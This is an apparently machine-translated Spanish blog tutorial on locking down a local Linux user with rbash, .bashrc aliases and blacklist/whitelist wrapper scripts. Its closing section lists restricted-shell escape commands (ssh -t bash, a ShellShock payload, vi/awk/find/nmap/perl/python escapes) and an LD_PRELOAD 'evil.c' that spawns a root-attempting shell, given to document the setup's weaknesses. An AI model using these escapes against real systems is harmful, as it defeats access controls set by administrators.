Limitar al mínimo los derechos de usuario local en Linux

Gato Un día apareció la siguiente tarea: crear un usuario local en Linux, con acceso limitado a carpetas y archivos, incluida no solo la edición, sino también la visualización, así como la capacidad de usar solo las utilidades permitidas. Solo se proporciona acceso local, no hay acceso a la red.

Para no reinventar la rueda, lo primero que hice fue comenzar a cavar en Internet, como resultado de lo cual se encontraron las siguientes opciones:

  • restricciones de acceso a través de los servicios de red ssh, sftp (no encaja)
  • diferenciación de los derechos de acceso por el propio sistema operativo Linux (no encaja, me gustaría una solución universal)
  • usando chroot (no encaja)
  • El uso de utilidades de terceros, por ejemplo SELinux (no encaja, complica el sistema).

Como resultado de la búsqueda, se encontró un mecanismo incorporado para restringir las capacidades del usuario dentro del shell bash, se llama Shell restringido o rbash .

Implementa las siguientes restricciones:

  • no hay forma de cambiar el directorio con el comando cd
  • No puede restablecer o cambiar los valores de las variables SHELL, PATH, ENV, BASH_ENV
  • Está prohibido especificar comandos que contengan / (barra inclinada)
  • Está prohibido importar funciones desde el shell principal
  • está prohibido redirigir la salida utilizando los operadores>, <, |, <>,> &, &>, >>
  • está prohibido usar el comando exec para reemplazar el comando, etc.

Hay un signo menos, esto es seguridad, por lo que es imprescindible agregar un alias a los comandos en el archivo de comportamiento del shell .bashrc (la información será más detallada).

Por supuesto, rbash está listo para usar, no resuelve todos los problemas, por lo tanto, como ejemplo, consideramos crear un usuario y configurar su entorno para una solución completa a nuestro problema.

Además, todas las operaciones se realizan desde el superusuario (root).

1. Crear un shell limitado

echo '/bin/bash -r' > /bin/zbash chmod +x /bin/zbash 

2. Crear un usuario

 adduser --home /home/zuser --shell /bin/zbash zuser 

3. Cambiar los permisos del directorio

 chown root.zuser /home/zuser chmod 750 /home/zuser 

4. Vaya al directorio y límpielo

 cd ~zuser ls -a rm .bash* rm .profile ls -a 

5. Personaliza el shell y los derechos

 echo "PATH=:/home/zuser/bin" > .bashrc echo "alias help='echo access is limited'" >> .bashrc # alias   help echo "bind 'set disable-completion on'" >> .bashrc #    tab mkdir -p bin chmod 750 bin chown -R root.zuser /home/zuser chmod 640 .bash* 

El archivo .bashrc define el comportamiento del shell; se pueden agregar alias para comandos u opciones adicionales a este archivo.

Para garantizar la seguridad, ejecute los siguientes comandos:

 echo "alias echo=':'" >> .bashrc echo "alias cat=':'" >> .bashrc echo "alias bash=':'" >> .bashrc echo "alias sh=':'" >> .bashrc echo "alias ln=':'" >> .bashrc echo "alias set=':'" >> .bashrc echo "alias uset=':'" >> .bashrc echo "alias export=':'" >> .bashrc echo "alias typeset=':'" >> .bashrc echo "alias declare=':'" >> .bashrc echo "alias alias=':'" >> .bashrc echo "alias unalias=':'" >> .bashrc 

La lista continúa ...

6. Verificar el trabajo

 root@host: su zuser zuser@host: help access is limited zuser@host: pwd /home/zuser zuser@host: ls /tmp/ bash: ls:    zuser@host: /bin/ls bash: /bin/ls:         {/} zuser@host: echo $PATH :/home/zuser/bin zuser@host: PATH=/bin/ bash: PATH:     zuser@host: exit 

7. Agregar comandos válidos

 ln -s /bin/ping /home/zuser/bin/ping 

Es importante destacar que las rutas en el comando ln deben especificarse completamente.

8. Puede usar contenedores para limitar las opciones del comando.

 mkdir /var/scripts echo "/usr/sbin/useradd -D" > /var/scripts/user-info chmod +x /var/scripts/user-info ln -s /var/scripts/user-info /home/zuser/bin/user-info 

9. También puede crear un contenedor para trabajar con archivos y carpetas.
con una lista negra (permitir todo excepto):
- crear un archivo

 nano /var/scripts/ls 

- contenido del archivo

 blacklist="\? ../ /etc /bin /boot /var" for var in $blacklist do if [[ $* == *$var* ]]; then echo 'Access is denied:' $* exit fi done /bin/ls $* 

lista negra: una variable que contiene una lista negra de directorios o archivos (separados por espacios)
- Agregar comando para el usuario zuser

 chmod +x /var/scripts/ls ln -s /var/scripts/ls /home/zuser/bin/ls 

Este script le permite ejecutar el comando ls con cualquier tecla para directorios y archivos que no coinciden con la lista negra

con una lista blanca (prohibir todo excepto):
- crear un archivo

 nano /var/scripts/cat 

- contenido del archivo

 whitelist="./ /tmp/" #   for var in $whitelist do if [[ $* == *$var* ]]; then /bin/cat $* #   cat    exit fi done echo 'Access is denied:' $* 

lista blanca: una variable que contiene una lista blanca de directorios o archivos (separados por espacios)
- Agregar comando para el usuario zuser

 chmod +x /var/scripts/cat ln -s /var/scripts/cat /home/zuser/bin/cat 

Este script le permite ejecutar el comando cat con los archivos especificados en la lista blanca.

Hecho , finalmente obtuvimos el siguiente resultado:

  • creamos un usuario de zuser con rbash shell
  • deshabilitó la capacidad de usar el autocompletado en la consola
  • zuser solo puede ejecutar utilidades desde el directorio / home / zuser / bin
  • agregó el comando ping a zuser
  • agregó el comando user-info al usuario zuser
  • zuser se restringió a través del contenedor para ejecutar comandos ls y cat


Desafortunadamente, este método no garantiza el 100% de seguridad, y con ciertos conocimientos y calificaciones, el usuario puede abandonar este shell. Gracias a Jouretz arheops YaDr en los comentarios, proporcionaron ejemplos de eludir las restricciones de shell.

Las siguientes vulnerabilidades existen en esta solución (Shell Escape), que deben tenerse en cuenta:
CAMINOPosibilidad de cambiar la variable RUTA
Copiar archivos por scpPosibilidad de subir su script
Al conectarse a través de ssh, puede cambiar el shell
 ssh zuser@xxxx -t "/bin/bash" 
Al conectarse a través de ssh, puede cambiar el archivo de configuración del shell
 ssh zuser@xxxx -t "bash --noprofile" 
Al conectarse a través de ssh, puede usar ShellShock
 ssh zuser@xxxx -t "() { :; }; /bin/bash" 
Vía utilidades vi, vim
 :!bash 
Vía utilidades vi, vim
 :set shell=/bin/bash :shell 
A través de los servicios públicos, más, menos
 !bash 
A través de la utilidad de búsqueda
 find . -maxdepth 0 -execdir /bin/bash \; 
Vía utilidad awk
 awk 'BEGIN {system("/bin/bash")}' 
A través de la utilidad nmap
 nmap --interactive 
A través de la utilidad nmap
 echo "os.execute('/bin/sh')" > exploit.nse nmap --script=exploit.nse 
A través de perl
 perl -e 'exec "/bin/bash";' 
Vía python
 python -c 'import pty; pty.spawn("/bin/bash")' 
Vía rubí
 ruby: exec "/bin/bash" 
Vía LD_PRELOADCrea el archivo evil.c:
 #include <stdio.h> #include <unistd.h> #include <sys/types.h> #include <stdlib.h> void _init() { unsetenv("LD_PRELOAD"); setgid(0); setuid(0); system("echo work"); system("/bin/bash --noprofile"); } 

Compilamos:
 gcc -fPIC -shared -o evil.so evil.c -nostartfiles 

Transferimos el archivo evil.so resultante a la máquina con la consola cerrada y ejecutamos:
 LD_PRELOAD=$PWD/evil.so ls 

Como argumento, cualquier comando disponible

Debido a la presencia de un número suficientemente grande de vulnerabilidades, este método solo puede usarse para un usuario local en sistemas no críticos; para acceder a través de una red a través de ssh, es mejor usar chroot u otras utilidades para restringir las capacidades del usuario.

Espero que esta información sea útil.

Source: https://habr.com/ru/post/437710/


All Articles